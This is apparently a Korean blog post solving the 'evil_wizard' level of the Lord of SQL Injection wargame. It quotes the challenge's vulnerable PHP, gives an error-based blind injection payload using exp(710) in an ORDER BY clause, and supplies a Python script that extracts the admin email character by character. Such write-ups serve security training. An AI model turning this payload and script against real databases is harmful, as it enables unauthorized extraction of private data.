반응형
hell_fire과 코드상에서 다른 점이라면
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
필터링이 추가된 것밖에 보이지 않는다.
덕분에 이전 문제에서 time based sql injection을 사용했던 방법을 이용할 수 없게 되었다.
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
$query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
$rows = mysqli_query($db,$query);
while(($result = mysqli_fetch_array($rows))){
if($result['id'] == "admin") $result['email'] = "**************";
echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
}
echo "</table><hr>query : <strong>{$query}</strong><hr>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
highlight_file(__FILE__);
?>
|
cs |
이전 문제에서 시도했던 if(id='admin' and length(email)>0,id,score) 이 것은 여전히 참 거짓 구분이 작동이 안된다.
이번에는 exp(710)을 사용해서 error based sql injection을 사용했다.
order by (select exp(710) where 0<(select length(email) where id='admin'))
참이면 결과를 표시하지 않고, 거짓이면 결과를 표시한다.
이메일의 길이는 30이다.
글자는 아래와 같은 방법으로 찾으면 된다.
query : select id,email,score from prob_evil_wizard where 1 order by (select exp(710) where 'a'=(select substr(email,1,1) where id='admin'))
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import urllib
import urllib2
import sys
import time
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
key = ""
for i in range(30):
for j in range(len(string)):
payload = "(select exp(710) where '"+string[j]+"'=(select substr(email,"+str(i+1)+",1) where id='admin'))"
payload = urllib.quote(payload)
url = "https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php?order="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=cookie')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
if not "<td>admin</td>" in data:
key += string[j]
print "[*] Find Password!! Password is ["+key+"] "
break
else:
print "[-] Fail!"
|
cs |
반응형
'WAR GAME > Lord of SQLi' 카테고리의 다른 글
| LORD OF SQL INJECTION [red_dragon] 풀이 (0) | 2019.11.19 |
|---|---|
| LORD OF SQL INJECTION [green_dragon] 풀이 (0) | 2019.11.18 |
| LORD OF SQL INJECTION [hell_fire] 풀이 (0) | 2019.11.16 |
| LORD OF SQL INJECTION [dark_eyes] 풀이 (0) | 2019.11.15 |
| LORD OF SQL INJECTION [iron_golem] 풀이 (0) | 2019.11.14 |